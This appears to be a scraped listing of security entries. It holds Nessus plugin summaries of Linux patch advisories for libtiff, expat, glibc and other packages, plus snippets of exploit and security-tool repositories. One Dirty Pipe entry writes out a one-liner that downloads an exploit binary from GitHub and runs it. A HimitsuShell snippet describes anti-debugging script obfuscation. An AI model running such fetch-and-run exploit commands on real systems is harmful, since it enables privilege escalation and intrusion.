CentOS Linux 7.9 [CIQ] Security Update: libtiff / libtiff-devel / libtiff-static / libtiff-tools (ciqsa-2026_1196)

The CentOS Linux 7.9 host has packages installed that are affected by a vulnerability as referenced in the CIQ ciqsa-20261196 advisory. This advisory aggregates security fixes for the libtiff SRPM in CIQ CentOS Bridge 7.9. It addresses 1 CVE: CVE-2025-8177. Tenable has extracted the preceding...

Rocky Linux 8.6 [CIQ] Security Update: expat / expat-devel / expat-static (ciqsa-2026_1550)

The Rocky Linux 8.6 host has packages installed that are affected by a vulnerability as referenced in the CIQ ciqsa-20261550 advisory. This advisory aggregates security fixes for the expat SRPM in CIQ LTS 8.6. It addresses 1 CVE: CVE-2026-93990. Tenable has extracted the preceding description blo...

CentOS Linux 7 [TuxCare] Security Update: glibc / glibc-common / glibc-devel / glibc-headers / glibc-static / etc (CENTOS7:CLSA-2025:1757700003)

The CentOS Linux 7 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS7:CLSA-2025:1757700003 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number. %NASLMINLEVEL 80900...

Rocky Linux 9.2 [CIQ] Security Update: expat / expat-devel / expat-static (ciqsa-2026_1549)

The Rocky Linux 9.2 host has packages installed that are affected by a vulnerability as referenced in the CIQ ciqsa-20261549 advisory. This advisory aggregates security fixes for the expat SRPM in CIQ LTS 9.2. It addresses 1 CVE: CVE-2026-93990. Tenable has extracted the preceding description blo...

CentOS Linux 8.4 [TuxCare] Security Update: expat / expat-devel / expat-static Multiple Vulnerabilities (CENTOS8.4:CLSA-2026:1767799061)

The CentOS Linux 8.4 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare CENTOS8.4:CLSA-2026:1767799061 advisory. - expat before version 2.4.0 does not properly handle entities expansion unless an application developer uses the...

AlmaLinux 9.2 [TuxCare] Security Update: expat / expat-devel / expat-static (ALMALINUX9.2:CLSA-2025:1764956967)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2025:1764956967 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number. %NASLMINLEVEL...

CentOS Linux 8.5 [TuxCare] Security Update: libxml2 / libxml2-devel / libxml2-static / python3-libxml2 (CENTOS8.5:CLSA-2025:1754554806)

The CentOS Linux 8.5 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS8.5:CLSA-2025:1754554806 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number. %NASLMINLEVEL...

Rocky Linux 8 [CIQ] Security Update: cjose / cjose-debuginfo / cjose-debugsource / cjose-devel / etc Multiple Vulnerabilities (crlsa-2022_1823)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20221823 advisory. modauthopenidc: open redirect in oidcvalidateredirecturl CVE-2021-32786 modauthopenidc: hardcoded static IV and AAD with a reused key in AES GCM encryption...

CentOS Linux 7 [TuxCare] Security Update: minizip / minizip-devel / zlib / zlib-devel / zlib-static (CENTOS7:CLSA-2026:1782981445)

The CentOS Linux 7 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS7:CLSA-2026:1782981445 advisory. - The crc32big function in crc32.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact via vectors involving...

CentOS Linux 8 [TuxCare] Security Update: expat / expat-devel / expat-static Multiple Vulnerabilities (CENTOS-STREAM8:CLSA-2026:1767798754)

The CentOS Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare CENTOS-STREAM8:CLSA-2026:1767798754 advisory. - expat before version 2.4.0 does not properly handle entities expansion unless an application developer uses the...

CVE-2026-86218

CVE-2026-86218 - Exploit de RCE Pre-Auth en N-able N-central Descripción general Este es un exploit de prueba de concepto en Python 3 para CVE-2026-86218, una vulnerabilidad crítica de ejecución remota de código previa a la autenticación en N-able N-central. Detalles de la vulnerabilidad: CVE:...

CVE-2026-47097

AJA HELO Plus firmware before 2.1.7 contains an information disclosure vulnerability that allows unauthenticated attackers to decrypt sensitive diagnostics bundles by exploiting a static AES passphrase embedded in obfuscated form within the firmware. Attackers can reverse engineer the publicly...

CVE-2025-63314

CVE-2025-63314 - Acora CMS 中密码重置令牌处理不当漏洞 由印度 Crowe 的 Joby Y Daniel 发现 📌 概述 DDSN Interactive cm3 Acora CMS 版本 10.7.1 在其密码重置功能中存在安全漏洞。 该应用程序使用了一个静态且持久的密码重置令牌，该令牌在使用后不会被失效，且不会随时间过期。 此缺陷允许获取有效重置令牌的攻击者无限期重复使用该令牌，从而导致账户接管 ，包括特权用户账户 。 🛠 受影响产品 产品名称： cm3 Acora CMS 供应商： DDSN Interactive 受影响版本： 10.7.1 组件：...

Malware-Analysis-Follina-CVE-2022-30190

Malware-Analysis-Follina-CVE-2022-30190 Análisis Estático de Malware – Explotación de Follina CVE-2022-30190 Investigación de un Documento Malicioso de Microsoft Word Durante una sesión práctica de análisis de malware en Kali Linux, me encontré con un archivo sospechoso llamado sample.doc. Decidí...

CVE-2026-47097 AJA HELO Plus < 2.1.7 Hardcoded AES Passphrase for Diagnostics Export Bundle

AJA HELO Plus firmware before 2.1.7 contains an information disclosure vulnerability that allows unauthenticated attackers to decrypt sensitive diagnostics bundles by exploiting a static AES passphrase embedded in obfuscated form within the firmware. Attackers can reverse engineer the publicly...

CVE-2025-20384

SPLUNK CVE-2025-20384 嗯，我只是读了我朋友发给我的东西，然后开始胡乱敲一些蹩脚的菜鸟 javascript 代码 日志注入/伪造/投毒/混淆类型 POC 请阅读这篇文章 OWASP Log Injection TL;DR 寻找静态文件，传递它并附加一些随机参数 所以，我执行 curl -k...

CVE-2022-0847-Dirty-Pipe

单行漏洞利用 CVE-2022-0847 curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

HimitsuShell

README: English | 中文 | 日本語 | 한국어 HimitsuShell Scripts de shell invisibles incluso para el trazado del kernel. Convierte scripts de shell en binarios estáticos únicos con un intérprete embebido, ofuscación basada en LLVM y protecciones anti-depuración alternativa a shc. Grafo de Flujo de Bloques...

gud425.github.io

此存储库没有 README。...

dj

dj - Extractor Dinámico de Archivos JS 中文 | English dj detecta de forma inteligente archivos JavaScript cargados dinámicamente mediante el análisis estático del HTML y el código JS de un sitio web, incluyendo chunks de webpack, carga diferida mediante import, y más. Características Análisis...